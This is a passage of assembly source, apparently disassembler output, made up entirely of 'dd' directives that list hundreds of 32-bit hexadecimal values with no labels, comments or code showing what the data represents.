		dd 78C8F02Fh, 40214B50h, 0F5CF14D8h, 0A77416B2h, 1D2DB607h
		dd 0E3039CC0h, 0A4581230h, 0A70CB58h, 9882DAAEh, 7488B645h
		dd 16B7E5Fh, 0D6550722h, 55F0359Eh, 9D940CD4h, 58A84D31h
		dd 5602FC14h, 1AF184C6h, 4134498Bh, 30D448h, 97B5E7D4h
		dd 45CF3FF6h, 3616B700h, 0BD0789D5h, 36079531h,	9935C166h
		dd 500C3328h, 9776B888h, 4FECA4E6h, 0A64A9313h,	90116432h
		dd 7702E8Ch, 836B1866h,	1B6C471Ah, 7F5E0802h, 0D1309B13h
		dd 6120E7F8h, 949C78B7h, 90B89254h, 0AFF5ED78h,	5605BE05h
		dd 0D013246Fh, 2EDC80C8h, 747DB07h, 0A0FDE09Fh,	8F6786C2h
		dd 7AA57901h, 0EA805919h, 0AB0C9841h, 0FB389100h, 0AB841C6h
		dd 17F80069h, 0B9E2FE95h, 857A48DBh, 4AD5DA00h,	0FB1D9AACh
		dd 2FED07BDh, 5BD6D9FFh, 701E0009h, 89020242h, 5B9D0F3Eh
		dd 0D9F2C0ACh, 0C901A07Ch, 65B60281h, 0A0209B70h, 53A8A026h
		dd 0F91A8860h, 0BC9E86F8h, 0EAB58Bh, 71F747E3h,	0CBE600CEh
		dd 0E50A82F1h, 3000342Dh, 0B7369B46h, 1F216CAAh, 641316B3h
		dd 6E1B1E44h, 0F90D9A7Ch, 8F8A5C80h, 0AE3C527Ch, 8BD918F7h
		dd 16B79811h, 0CC160536h, 89DE813Ch, 7960C426h,	0EAD3D6h
		dd 10D5B316h, 65DE227h,	0DD782301h, 0FE81B44Eh,	9803985h
		dd 6058D4D7h, 0E89D2724h, 1CB19500h, 18EB8805h,	0F4FC01A4h
		dd 2616A523h, 460F2C5h,	9D601FC4h, 0CB81F341h, 53560099h
		dd 879C62D2h, 0C5000AE3h, 0DE4ADD2Eh, 0C793E941h, 0C0D75044h
		dd 0A44610BCh, 1F910800h, 0DA10398h, 0C12A005Fh, 4A4FDA32h
		dd 622442FFh, 0BC1FC71Dh, 19D3ED40h, 1DA43B5h, 0A6CA9529h
		dd 0E817C79Ah, 1F483E94h, 0E5DE80DCh, 2F110E6h,	8C347C70h
		dd 48E4B98Ah, 0A0F71500h, 16455DBCh, 75BF054Ch,	14A6AB37h
		dd 0D0807CCCh, 26A002D8h, 2007258h, 249C1A92h, 0FF5844E1h
		dd 5FC24210h, 2CA25402h, 40F104A4h, 1FED253h, 8D9128Ah
		dd 9FD8119Bh, 1E4F5659h, 0E9A18062h, 5F2A30h, 0DFABB293h
		dd 7A05AA91h, 9258457Bh, 1B048434h, 0F4CA50CCh,	26D624F9h
		dd 1429154Ch, 0DAC0F448h, 2035EBD2h, 9D88651Ch,	7EACB6C0h
		dd 15F8D7C9h, 8F5443Eh,	124C2609h, 0C33B7848h, 0E176CE00h
		dd 49CB21C7h, 4E404C46h, 0D8B6FB0Bh, 1007C809h,	98249834h
		dd 457C9411h, 51F8605Bh, 0DB061A16h, 575E2881h,	0D9451608h
		dd 12FF6842h, 0B70F0C58h, 2F937B4Dh, 0B4B241EEh, 6831F14Eh
		dd 39960464h, 0B6246D2Eh, 5786605Ch, 740061DFh,	0B2EED420h
		dd 751F0DBDh, 9C991224h, 0B7FC3033h, 270B8B4Eh,	10124435h
		dd 637BB8h, 0EEA5B5CEh,	1C64AE78h, 0FCF35200h, 9724CA01h
		dd 62250DFFh, 8F26B631h, 60D9B779h, 9008EFA7h, 0D46401CFh
		dd 0FD118783h, 2C50DCA3h, 13348A14h, 693E34h, 7A0D1DE9h
		dd 1AE9B64h, 534FCD98h,	0FCDEFD5Eh, 635C5102h, 2CBF0063h
		dd 2A4E609Eh, 0B4F4A4BAh, 781691C4h, 0D5D73102h, 0D2134DB0h
		dd 0A1C60F1Ch, 0F5209391h, 8B6D0A39h, 0D569971Ch, 54A62200h
		dd 2973F23Eh, 0C0FCDBh,	3DC98A33h, 0D57DD6DAh, 1823EC38h
		dd 0C10D9FDh, 123C035Eh, 4229997Ah, 9E61081Ch, 5DA45643h
		dd 1E492709h, 9228D820h, 0F90048AFh, 0BC1FD020h, 0DDD2C1h
		dd 0AB21732Fh, 311D3E52h, 2423000h, 1913D6Dh, 4333031Fh
		dd 0C360B0AAh, 0A4473E80h, 0C8D85E58h, 0FCE4816h, 1BEB0283h
		dd 3C28348Ah, 58AB0A10h, 0ACEBC0C4h, 0A0DC1022h, 7F72BBh
		dd 1380FDAFh, 0DAB7A8FAh, 91192727h, 0B8380284h, 0C0CA061Fh
		dd 0FD70FC2Eh, 4CB871D3h
		dd 0F38CF21h, 0EFA04361h, 8B25F0DFh, 8C40B94Fh,	0F9AC845Ah
		dd 0F6E0036h, 0B5DE6AE1h, 17070B76h, 0C94A9411h, 1601ECEAh
		dd 0AFCFF5DFh, 39AED980h, 6461724h, 1EB40A4Ch, 0A0271436h
		dd 0DAE46C18h, 7F18A098h, 60EF841h, 99DB12D2h, 913C1925h
		dd 1904046Dh, 6CE6DE63h, 1BD4DD02h, 5BE09867h, 57001EA4h
		dd 0C30DF0D1h, 0C4A1369Eh, 0E4FDDA71h, 6D04A6A0h, 1190587h
		dd 1D30E088h, 0E7267CFh, 0A0399081h, 2D303D03h,	95C4A011h
		dd 0E4C9DAh, 49B6C5F6h,	0F05AD7B1h, 0CBE830D0h,	308800AEh
		dd 187EA73Dh, 8994614Eh, 0BF0B16D1h, 481F45Fh, 2035E60h
		dd 0C9E1CC2Ch, 6CC5F2CEh, 1F54B12Fh, 0C0000C22h, 2E4DBC46h
		dd 6F05E69Ah, 0C4AD2980h, 87D6CA80h, 0AFEA00B7h, 51A82D5Ch
		dd 5A371A05h, 238048CBh, 0F60E5049h, 0A98212D4h, 8F84002Dh
		dd 14A09737h, 0C0B419D0h, 12538E5Bh, 972600DCh,	3D997646h
		dd 472F2C83h, 3108A066h, 5AAEAF64h, 42E809E7h, 25D05068h
		dd 1C58DF4Ah, 99AD610h,	4DAE28A1h, 417C3804h, 0CE4FE7DEh
		dd 0C02BDAF7h, 0B1124EC1h, 0CC8E093Ch, 0DB2D6680h, 0E2034232h
		dd 17C54F40h, 9C2810B0h, 0E8310016h, 6DFEEFB5h,	30AC2D75h
		dd 77AB8C80h, 500BAD58h, 52F9C3Fh, 0DC80EE81h, 28CBB697h
		dd 1E47655h, 620681C0h,	299FFDDBh, 13218Ch, 0E0F82D16h
		dd 79001B06h, 8F2A5E88h, 0B799D68Ah, 0B6E8F4D0h, 22E0A949h
		dd 0BCBB00B1h, 3E2395E6h, 0F4909DECh, 30C0D400h, 0D019AE86h
		dd 0DDB7002Dh, 58FF366Ch, 8271DB63h, 0F24AA53h,	6053F227h
		dd 2089E62Eh, 9E2F099Bh, 4900C4CCh, 29517030h, 1611CF60h
		dd 0B1736E3h, 0AEE9B6BDh, 4FC7C040h, 38FF58E8h,	3189A0A4h
		dd 7420951Fh, 9F178DC9h, 7854C000h, 58B98EC3h, 0FCC5486Bh
		dd 0D5F26F81h, 0BAF0894h, 88B7122Ah, 72387841h,	0B4A80048h
		dd 0DC7E8D6Ah, 5A100017h, 70B08BDBh, 950E6B05h,	12EB5D1h
		dd 6584E623h, 65CC820h,	64053E8Ah, 0A7001019h, 0FC215F90h
		dd 95D55DBh, 1FCAAA93h,	0D6DC9810h, 1223881Ch, 0C4E1F358h
		dd 48137496h, 0DE2284CBh, 0C4CB189Eh, 85EC04h, 0BFA3AEDDh
		dd 0B28C3DBEh, 2C336100h, 12060E30h, 2C34E508h,	9C944483h
		dd 0C088314Ah, 8607249Eh, 0C7160078h, 31DF0EF5h, 6E97B117h
		dd 0B929C490h, 81FC881Ah, 8CC0C95h, 1980E1B8h, 608284ECh
		dd 0E901B4E5h, 9322DC2Ch, 209774A2h, 8AEC0958h,	64ACA019h
		dd 93279DF2h, 83842038h, 1FE8B7B9h, 4C4E78D6h, 5241612Eh
		dd 887B8680h, 0F700A284h, 0F43BA05Fh, 483025C6h, 9216546Ch
		dd 5281F88h, 0F2141EF5h, 64D700B4h, 0A05880E2h,	49B00078h
		dd 0FC2CAA5h, 71D0B47h,	93C21975h, 0C067318Eh, 4EC127E2h
		dd 594C40B0h, 0E51DB34Ch, 2F05300Ch, 0EC8A19B6h, 909119AFh
		dd 0DC2A787Ah, 8996CDFh, 7D8B2B89h, 0E26B5E80h,	4104172Ch
		dd 0F6F75B3Dh, 7D908C3h, 2879ED29h, 0DAF90B8h, 9727BC5Ah
		dd 317CA1A1h, 0F6D479DAh, 47210259h, 9997DB8Bh,	0E93BECA0h
		dd 2E007F9Eh, 0BD570BEDh, 99C30C3h, 9BA64B35h, 0F0E8D0C1h
		dd 2BF9AEC9h, 7890E416h, 4364Ch, 3E30BA59h, 9DEDCBE0h
		dd 8F83483Ah, 621151F6h, 4B7D55A4h, 37F7C760h, 0CEBC669Bh
		dd 8724F1F8h, 0DB1E82FCh, 408C3063h, 0A5979D4Dh, 9FD899AEh
		dd 0AC35C0A1h, 69B8A8Eh, 7D92600Eh, 0B6522031h,	94E855DAh
		dd 961E0CB4h, 4A00C7E9h, 0E181D61h, 489C4E01h, 0C9836837h
		dd 383EA052h, 0E8B5401Bh, 5F0992Ah, 0A4B72B27h,	6C00AE40h
		dd 0B6EE1D78h, 0CE0386Bh, 1868B29Dh, 0E180B880h, 1048098h
		dd 0DB84C49Eh, 50E41826h, 0BC6F2C4Eh, 0B09012D4h, 5932DBC8h
		dd 441E2101h, 97F002BCh, 6410B889h, 8B0BEC56h, 33A03051h
		dd 473188D0h, 340260EEh, 0F5C5ACB7h, 1CC56B1h, 22433BB5h
		dd 0BEF840A1h, 0B4014F0Bh, 30467A05h, 54611A92h, 4CF0202Eh
		dd 0B5000BA0h, 172765CEh, 364A5B7h, 0BC1AD326h,	0E082E9DCh
		dd 0B1826843h, 84924C22h, 74A8B43Ch, 76CB8CAh, 0C0EFE9C9h
		dd 80AE81EBh, 8793F01Eh, 2A4FD9C3h, 58249B9Fh, 2C4050F4h
		dd 54BFA06Ch, 8AA50536h, 8D3BD07h, 0EB807C2Ch, 0B489EE54h
		dd 969B095Bh, 2E0EF920h, 21C7A0E0h, 0C505ED7Fh,	0A9AD7886h
		dd 0A300D887h, 309CB629h, 3351DF58h, 9900C481h,	0D6FFD130h
		dd 0B191B728h, 0B1842804h, 0E2B01264h, 0BB760040h, 0A4ED6510h
		dd 29900096h, 0ABFB9ADBh, 0B74F15CAh, 46217C41h, 0F7E836EAh
		dd 77F2195Ch, 0BAB4DE1Bh, 0CBB08528h, 94E4B6B5h, 965903D8h
		dd 8DE53382h, 77753680h, 4C50848h, 0F7B68A81h, 9486A8A0h
		dd 3A7D80ECh, 0E3E616BAh, 4356A200h, 349674A6h,	0F287FA0Ah
		dd 0CDB2003Ch, 30ED6BB4h, 0EE014AACh, 0A34C4D49h, 9C40A2F8h
		dd 512EB12Ch, 646C0CF0h, 7F818880h, 0F7EEA042h,	0B6BC1700h
		dd 14C70C2Fh, 990A269Fh, 4A581D3Ch, 40D4E8F9h, 0A431C8D0h
		dd 0B4C95C4Bh, 85219D6h, 1D660046h, 2A09692Ch, 62007291h
		dd 0BE17871Fh, 3AAFE8B6h, 0A4CC6EA5h, 0DB28FB22h, 1097505Eh
		dd 7921B9A0h, 48D6006Fh, 1FAE0982h, 0C70B5113h,	2BAD53DAh
		dd 59D8E1ACh, 2E211473h, 80968589h, 3C0D9F50h, 97250736h
		dd 86011AA0h, 58F05CEFh, 10C5E470h, 14008729h, 0CDAD7FB6h
		dd 3F2E15B7h, 8C4284D2h, 31C9F882h, 0E340245Eh,	58D05Dh
		dd 0CD14B30h, 0E7146CFBh, 40005BEAh, 639335A8h,	98E33001h
		dd 6296168Ch, 971830ECh, 0B903341Fh, 1C8FD34Bh,	92F0CF47h
		dd 2465445h, 4DE1308Ah,	609B58h, 6777A9FAh, 0E0A208D2h
		dd 5F98BC00h, 0A1F6DF69h, 4AEDEC00h, 42EB4B5Eh,	2D051347h
		dd 0D40CC8BCh, 12A8CD5Ch, 0FCF344B7h, 99411322h, 0D3805068h
		dd 88CD2519h, 26241A16h, 36B0888h, 41EC9273h, 918AE8FAh
		dd 0C57A9785h, 8374A23Ch, 0C0C37D67h, 5435492Ah, 6E2417h
		dd 82A157D3h, 9006091Ah, 7A425801h, 827DB81h, 0DF224023h
		dd 0C81152h, 0A30A2DBCh, 9F2B480h, 0FE7B8531h, 2E213C58h
		dd 0D811A0h, 266B4190h,	7E372B1h, 4675791Eh, 0A6E8702h
		dd 16AB0E80h, 0E43B5125h, 0F6522E7Ch, 62520194h, 493E8EF9h
		dd 4FE5C464h, 19102033h, 3D3DC25Dh, 1209F526h, 993431h
		dd 73876993h, 3BCD0576h, 13B73E42h, 8F1044F0h, 0CAAE065Fh
		dd 18615910h, 10DAA589h, 0A6419445h, 7421304Ah,	9803D862h
		dd 7252B758h, 1FD6A003h, 91CB156Ch, 6FF1A44Eh, 0D01E2992h
		dd 0CBF73DD8h, 7C002CF4h, 0F2123BF8h, 2ADAEEh, 0D018F6E9h
		dd 9D0B84B3h, 4A4879F3h, 2154088h, 518A5C87h, 20404496h
		dd 990065D4h, 308B4E90h, 0F4295B97h, 8A6F0081h,	25CAFB93h
		dd 0AF447CF4h, 1412484Dh, 82571F80h, 0D80FA574h, 2760F231h
		dd 9C805099h, 3427E853h, 0D8C84DB7h, 2F059BC8h,	208A30B4h
		dd 0F3D690C0h, 93BB1661h, 2E30C827h, 19F03830h,	6B05FFDBh
		dd 189080ABh, 580095C6h, 3427D03Ah, 0E9E824h, 0AEF31F94h
		dd 0D7901299h, 4C9CF200h, 22E0DD8h, 1805085Eh, 0DB04DEBEh
		dd 548C0750h, 0D04484D8h, 702E069Ch, 905D0864h,	48B39E00h
		dd 26D950DFh, 0AC7126C8h, 21510678h, 0E8901125h, 0DA299162h
		dd 10EC5196h, 49C8805Eh, 25F5B5ACh, 98CCF181h, 9814909Fh
		dd 0A16B0054h, 0FC514487h, 23FAF435h, 0AEAE503h, 0F4B8A22Dh
		dd 0F2140444h, 0CD2E001Ch, 0ACBB2AFDh, 4AE43F2Dh, 92B55D80h
		dd 0C0247D46h, 8EE22E2Ch
		dd 19AB6403h, 0F3AD80D2h, 0A65E2729h, 1C0064E6h, 4DB1A594h
		dd 3AC01D3Ch, 0B9894BF7h, 0E0935049h, 0B2FD8698h, 1F538E12h
		dd 94303C16h, 58583412h, 0E812CFCEh, 0F04842CAh, 0F4C202C7h
		dd 4445C44h, 1A1E0716h,	0A1D29584h, 0E0AB7219h,	8600E526h
		dd 0D722872Ah, 145ED8C3h, 88D6640h, 94A01609h, 0C007071h
		dd 0D9EF6567h, 0EEC31671h, 31EC607Bh, 10961B05h, 0C113E88Eh
		dd 0B7C4C16Bh, 4BD526C0h, 452C986Fh, 81BB393Dh,	0A9E6BC49h
		dd 0A02A7726h, 2F009FB2h, 5652996Bh, 0FE9B08D1h, 0C5B5F0DAh
		dd 30309C61h, 0F7E70BFCh, 0C597DA1Bh, 20DE9A21h, 0B029785Eh
		dd 4387FA00h, 0FDE18A3Fh, 30E762E6h, 60E0A97Fh,	945A38A6h
		dd 8113D01Fh, 2A4DB090h, 14C500A9h, 0CB974B50h,	1024F145h
		dd 9C78E409h, 0CD12E936h, 200645Bh, 0F5B72E7Ah,	0C9E11726h
		dd 38540003h, 0CD0E61CEh, 0A50C90B5h, 5A68005Eh, 0DAD2AED3h
		dd 0AC909DCBh, 0B57F44h, 0DFA030A5h, 0B709E62Ch, 88C42D48h
		dd 8A978Fh, 5190C4B4h, 0A212DDD9h, 0A40074EBh, 0D3797B3Dh
		dd 28C00CD0h, 50113A38h, 29DC2132h, 826C76B6h, 0BC932368h
		dd 0F0728540h, 78008E71h, 0CAEEBF7Ah, 0C9219Bh,	2FB852ABh
		dd 0A503FA91h, 1E2EBB00h, 81580911h, 0CA0B0051h, 0AF1092EAh
		dd 0C4B02D3Fh, 1F62B0B4h, 0A57C4817h, 7C837C66h, 0F5C9BF6h
		dd 2253359Ch, 262009BCh, 537E93h, 291D0589h, 42D2E978h
		dd 0A7BC0200h, 0EBEA9131h, 0D0D45223h, 5FFD2E07h, 0F8AD1047h
		dd 53028C4h, 2758115Ch,	2E02094Ch, 0E060AECEh, 84BEEA0Eh
		dd 0A2108259h, 9C00A4EFh, 42B33F83h, 0FD47BCBBh, 20CC20h
		dd 0D1982895h, 66D231C8h, 6009C0B8h, 79C0A94Bh,	443E0054h
		dd 0BFB4D28Ah, 0F2C90601h, 8277A205h, 958CD60h,	0A00EDB55h
		dd 0AA4420D8h, 0EB270902h, 6078C89Ah, 2E672B00h, 0B7AC439Dh
		dd 4874F618h, 0D024B817h, 0DC9809FAh, 8053849h,	67C28880h
		dd 82A8B100h, 7ADEDC39h, 51CA024Ah, 775FDAC5h, 164B30D6h
		dd 0E39D003Ch, 77B2BD06h, 0AE4DC180h, 27C82004h, 0E06450DAh
		dd 0D7F44503h, 0E0B7687Dh, 7CA881Dh, 29D44AB4h,	0FB96A0B3h
		dd 0B600D707h, 0F0D50BCh, 1AF1CBh, 122AB4F6h, 0C68F67DFh
		dd 36E21700h, 5E43CE96h, 0E9A50027h, 0EA2D7CB8h, 5502FDDBh
		dd 0A6E0C562h, 846CF930h, 2597D709h, 0A4F8A0h, 3C79A5AFh
		dd 9E3F6849h, 0B49A2104h, 6E870C66h, 0C7A09640h, 312E00F9h
		dd 0AF6AAE0Dh, 0B2E899B4h, 3540E49Eh, 0B0E8E9h,	60DDAC3Eh
		dd 396D6B8Ch, 4013D500h, 9358642Bh, 0D85E001Fh,	0B0A23298h
		dd 367A0A0Dh, 4980F49Ch, 5D2CB124h, 0D94C4C13h,	84E4F227h
		dd 8053D83Dh, 3DCF49D6h, 44EC61h, 664F7772h, 0D232CD93h
		dd 0C8B97825h, 17C874h,	0F0E88880h, 0DF3EFE48h,	8025793Bh
		dd 0FF53BA47h, 76906AC1h, 0EC7F00ACh, 0CED23C65h, 0AF58F6B4h
		dd 0A16300C8h, 6CAAA5FAh, 0CC11B78Dh, 0A9E5CBA0h, 0B8C98908h
		dd 79D278h, 0B6376348h,	9596E93Bh, 0C040109Ch, 57C4F98h
		dd 4EE0DF6Bh, 3C94A278h, 92643EFDh, 4CA63012h, 892E6C58h
		dd 5B16407Ch, 0CC96B963h, 9A707680h, 85BEDCh, 44BCB1B5h
		dd 6AFFA082h, 0B5B670h,	7AFB929Ch, 0BC9C90AAh, 38A8BB3Ch
		dd 0A4940E64h, 4643CFA8h, 0F4E50B16h, 6D1398DCh, 81C0EB7h
		dd 0E879037Eh, 0F8B2F5B6h, 57AEA5Eh, 97B33244h,	2124B254h
		dd 4441BD93h, 27808C90h, 63F90201h, 0FC2F1D59h,	3D504441h
		dd 6F38203Ah, 0A0A6B2F2h, 3B70C31Ch, 24AEBF41h,	97D43249h
		dd 373CA058h, 481A0B9Fh, 20E145B4h, 8EB8815Bh, 0AB0982DBh
		dd 59CC602Eh, 0C71CF3B2h, 2D80FD78h, 20E244DCh,	50BE2C4h
		dd 97B5324Bh, 6C30055Ah, 166C0E88h, 0B0538B64h,	1F13C908h
		dd 20C4E194h, 0F07E3000h, 0D9365Eh, 1AC18EDCh, 7968E2D8h
		dd 35770C02h, 0C416203Ch, 0F5A1A094h, 79A600B4h, 3C60CF6h
		dd 6B0048AEh, 3025DE83h, 0D691B5h, 6DFDB1B7h, 28519D4Dh
		dd 0DB3E2301h, 4490AECCh, 21F43C20h, 5281BB58h,	0A38A33C3h
		dd 9A4E90C3h, 17270459h, 0DC0226F3h, 62EC2AF4h,	0FB328B0Eh
		dd 0A55FE0ECh, 720EF98Ah, 2CF51F9Bh, 0A389C04Dh, 5E9FBDDh
		dd 31086416h, 0C95B60CAh, 0AF99ECECh, 0F4124D29h, 769F4800h
		dd 0BD1FB1E1h, 0B07AF027h, 32214225h, 0C6456700h, 41D834EEh
		dd 92EB7F55h, 647B4498h, 7050D5Ch, 3666DE25h, 189068CBh
		dd 0FCD524EBh, 882D139Ch, 1E003C34h, 0CD365220h, 3556F8D5h
		dd 2876EA58h, 0AC962924h, 7F1FC43h, 0DF010F48h,	1C16F1F5h
		dd 24542351h, 74296018h, 0C7010B00h, 0A1648F5h,	9BD85111h
		dd 48F11014h, 78286CC8h, 4498BCh, 0F8F407CDh, 2E44A003h
		dd 401D0D00h, 9710857Ch, 0AB3701A3h, 0CFAA69C4h, 5244CB4h
		dd 0B90490B3h, 94F0B061h, 0D4374C9Ch, 0F883DA85h, 54FC8278h
		dd 0D397E12Bh, 0EC047443h, 308020BCh, 5193BF81h, 1A82C007h
		dd 0CF05AC31h, 0A693DCB9h, 0A44D04ECh, 0D0B21627h, 48208A01h
		dd 0F038E267h, 0AC0EF483h, 2A4AD9Fh, 62AA302Ch,	0DB0C84BCh
		dd 5F813440h, 0D300A149h, 0E2C87DC9h, 0BE3E677h, 0B98AFFA3h
		dd 6E9B8490h, 87784900h, 52349C6Dh, 0C4DF0082h,	4F47F98Fh
		dd 5C293391h, 8A057CDBh, 8CCCCF21h, 0BF140BEAh,	0AC8394CEh
		dd 11DE122Fh, 466EDF09h, 0C9AC058Bh, 0ACC78402h, 848DE0Dh
		dd 8A01F156h, 2A343E27h, 5DE61CD8h, 0AA8B5089h,	4107F8Bh
		dd 8E4BB35Eh, 439E2C20h, 0B5A73941h, 0B062D70Bh, 7A986082h
		dd 0B7D2B618h, 0B8FD9438h, 0BE106E02h, 0E1171A29h, 543B3080h
		dd 0B500C4F8h, 12BEEEFCh, 9DFC178Ah, 89623C30h,	9F2D05C8h
		dd 5C0E8C94h, 6088087Ch, 4F2CC13h, 2B680FB9h, 0C1002A18h
		dd 321659E2h, 0B544B09Eh, 0BA8F00ACh, 79AF5FC3h, 0DAB8CFF0h
		dd 806C2658h, 16EA4396h, 984C50CEh, 0A72096F3h,	0D30004C4h
		dd 0F861D854h, 1F9A250h, 88A79DDEh, 805A5199h, 0E0771510h
		dd 83B1D0A9h, 780C2842h, 321C5A52h, 22BDE83Eh, 12F5FDBh
		dd 0B990BAFFh, 0B5CC49EEh, 0C714CC68h, 0B68014D5h, 0CE285A65h
		dd 52B83B60h, 8596CF9h,	0D5FD2F1Ch, 3C098126h, 0A500549Ah
		dd 8C017CE4h, 976DB57Fh, 0FCF441D4h, 0F89B00C5h, 15671CDBh
		dd 0C6252EC7h, 864C51DAh, 59DE329Ch, 4F2D2612h,	0FA3FD405h
		dd 4E16B809h, 7AF43E60h, 8404FB58h, 82019852h, 54BE7240h
		dd 14CB032Dh, 6010B734h, 0A008A40h, 313F4E3Ch, 0B35FDD9h
		dd 0D87FA495h, 9C4C3478h, 3AC6C0DCh, 0AE9449h, 7EF11132h
		dd 0D74226B4h, 5565F80Bh, 335CE14Eh, 2FC0613Bh,	51DB11DAh
		dd 0FEA1A47Ch, 7F006F16h, 0B8FF2F74h, 38897260h, 1FD2D80h
		dd 0D7A102C7h, 0DCC2B3B0h, 0A6001268h, 27DABE96h, 4A9AE14h
		dd 0F018AF66h, 0B6E4C8D5h, 2407DD5Ch, 98244811h, 513CA10h
		dd 5FA4301Ch, 98B974D3h, 3355DB0Eh, 0E4B5F84Bh,	8E1C0724h
		dd 0EF4BA642h, 70C96D7Fh, 0F86CF0E1h, 0A72DBD1Eh, 6D7E9D02h
		dd 6DCE150h, 9847A910h,	99858100h, 0AF135B8h, 784DFE50h
		dd 0B7760434h, 0B56CF84Eh, 203A84h, 32BFC8Eh, 0A9839231h
		dd 0AFE0FD42h, 0E3D7467h, 0CB2D7727h, 1E066EEh,	0D2FDF4A9h
		dd 0E052EADCh, 97001E84h, 79418B6Eh, 7DA8A9D5h,	0D108A0ABh
		dd 8CB348B8h, 0B726270Ah, 70AC0178h, 0FAAB500Ch, 860060DEh
		dd 51BBA747h, 6B4408D7h, 1F8D573Ch, 0B420114Bh,	0DB29CBB9h
		dd 4D045451h, 894EE113h
		dd 0BB932060h, 69072F34h, 38C13ADFh, 834BB720h,	2EB10E80h
		dd 0E9C0FDE0h, 654630B5h, 0D8A40D07h, 7D50B608h, 1EC32F12h
		dd 0C0DEF4C6h, 0B1EA4D4Fh, 50F8218h, 0C02A7A07h, 0CA1A5C1h
		dd 47D72DF9h, 1F002C64h, 0A77B9759h, 9A0644h, 466CCD2Fh
		dd 8E926636h, 1235E3Ah,	0A5AF8631h, 602CC57Fh, 0D6B13080h
		dd 9502BE33h, 3B37D2EEh, 402CD6F6h, 0E2962DEh, 2D286158h
		dd 1CCC6495h, 40CA9838h, 4F1B2476h, 2FF45961h, 85DCF148h
		dd 1801CE21h, 0FD29F0AEh, 2F25FC62h, 0E72A819h,	0A3B55E20h
		dd 0C4248BA4h, 0C89524ACh, 0B2920D8Eh, 8002C804h, 97CD76D9h
		dd 8B043956h, 0E9387C2Dh, 0A160081h, 98541704h,	4D000E2Ch
		dd 3179DA3Ch, 8A7D54A4h, 5CCC38C2h, 0B80C571h, 1C919555h
		dd 1C0009DFh, 0D7AC3Fh,	0EEB678Eh, 60BEFF21h, 0E4AF372Dh
		dd 176E3E38h, 69DCA500h, 571EAE20h, 0EF629716h,	17542C91h
		dd 70461112h, 64C45600h, 966DF87Fh, 0DB290BA6h,	0F0DB1398h
		dd 0AAC63F80h, 28D09EBEh, 12A511E6h, 8012B7C0h,	0A64CFE24h
		dd 9F0F287Bh, 705C37Ah,	87854017h, 0A0970803h, 8B2901C4h
		dd 0CA2C85Eh, 80EC7C31h, 323037FBh, 92213DCDh, 872F01FFh
		dd 2C4543E3h, 0E8207BD0h, 961F37E7h, 0C1329D70h, 0A41A084Ch
		dd 8276C836h, 0F761BE00h, 0B491D47Fh, 1ED81A0Dh, 0C0C1317Bh
		dd 510310A7h, 0D2260260h, 0CE5B6ECDh, 308AF080h, 4000DF49h
		dd 0B6B9D686h, 39992091h, 0C800B40Ch, 0B79667ABh, 0C90159B2h
		dd 9CA8D331h, 402F1230h, 4904E81Ch, 600096E3h, 8FD0EB70h
		dd 14D11218h, 0C8A45F0Ch, 0F5442AC2h, 2704F0D9h, 3120C701h
		dd 0F4073BACh, 0A44C9544h, 9B0868F9h, 68E02Eh, 8D664F39h
		dd 0FB133140h, 725A970Bh, 900B583Dh, 0DA4B00C5h, 166EBB2Ch
		dd 421E96DFh, 0E740EF50h, 69C4BD29h, 5FB500E4h,	0C1F994A0h
		dd 43F2F028h, 31A19C13h, 1645CCCh, 701CBC66h, 6848C391h
		dd 1408D35Ch, 0D45D81DAh, 3E196AC3h, 0A3989A80h, 33EE628h
		dd 0E9342081h, 401DCC07h, 95A07B65h, 600760C4h,	0CCBEB35Ch
		dd 0CFAC97F0h, 0AD5F1EA0h, 171FC08Ah, 3CB96039h, 0FC12904Ah
		dd 0E07400ACh, 0CF3302EDh, 0B730DA1Bh, 31840859h, 4ACCC81h
		dd 73B85424h, 0E4C740BCh, 3C8E2Ah, 0FF9A3C4h, 851C2D58h
		dd 5EF59C02h, 0E02A45C5h, 386CCC2Ch, 0CF295A1Eh, 295006D8h
		dd 0A50119CDh, 4D0483DAh, 683D51A4h, 8845AB13h,	0EAD2BC0Ch
		dd 0F08CD716h, 3CE595CDh, 0F4452A07h, 0F90D76D0h, 4D1025D0h
		dd 0ADA0B901h, 11F7F0F1h, 0CAB8209Dh, 70BEEBAh,	12FCBE23h
		dd 0C86CB7ACh, 0B5D6A987h, 48633872h, 9CC83Ch, 628F67DDh
		dd 32F9F869h, 0B07C6C90h, 0C0F4455Ch, 9AA1F68Dh, 0B74A144Eh
		dd 0CE0197D5h, 1E52EBF2h, 5901C07Dh, 9E236003h,	0E0BEBA72h
		dd 1C32A4Ch, 0A0B3EF3h,	208A90FFh, 0E22F1634h, 432CCC36h
		dd 5A84795Ch, 0E9103029h, 0AEFE8BD6h, 39425782h, 0F0019459h
		dd 0DAE11DABh, 8E6420h,	519ED705h, 4C85D921h, 1F78F6F2h
		dd 11D3DAEEh, 298F4C0Ch, 80A8BEB9h, 21225A4h, 0F601339Fh
		dd 0E781717Dh, 0DBD63AB2h, 0C91A0AD8h, 2D0A9160h, 0D76CEA1Eh
		dd 0C4F96EE0h, 429AAF00h, 5423F443h, 29CE25B5h,	307894ECh
		dd 8893B307h, 96DB2F7Bh, 0A4AF27CCh, 109FB8C1h,	351FBDDh
		dd 4EE54620h, 76C9C1FAh, 9D19C093h, 10BD7BE4h, 4860EBB0h
		dd 1702DE0Dh, 35379BBEh, 6A5B00DFh, 2DB24CEh, 0DAE2D2C8h
		dd 0D8F20497h, 5AF6803h, 9BBDE1Bh, 80DAA8E8h, 3C10D051h
		dd 6748CD82h, 0A3471874h, 20DBB622h, 52F52044h,	0C9E8AB00h
		dd 0A4020359h, 68A01421h, 747E281Fh, 0A1CF07B2h, 0B0FF257Fh
		dd 0E181B958h, 90904E95h, 0E024E9F7h, 0F91A887Bh, 130EAB7Fh
		dd 0AEEA2Fh, 0D750DC6Dh, 248A17A1h, 0A0D82371h,	34EC1158h
		dd 0BCCC29AFh, 9B990087h, 57953F56h, 9A02225Fh,	507AEA31h
		dd 0A8602EB6h, 8160AAB1h, 207DE000h, 0F2F543D2h, 464401FDh
		dd 150547AFh, 8A3180B0h, 92DDB7D6h, 68AE61E1h, 70F90258h
		dd 0AB120B98h, 0CD0B97Eh, 0D71861h, 0CE730FBCh,	5E421A99h
		dd 5FE9B914h, 490B03B0h, 0A96B066Ch, 6470D5D7h,	8CDC00E4h
		dd 1D516046h, 0EC3EB318h, 571C0307h, 0E2B90562h, 0A89C433Dh
		dd 60A81715h, 0DF5F062Ah, 6D0591B0h, 7D190586h,	8B9404FCh
		dd 0B7C8EB0Fh, 5EEA4140h, 0C21DCC03h, 5DC028C7h, 2FCE40A4h
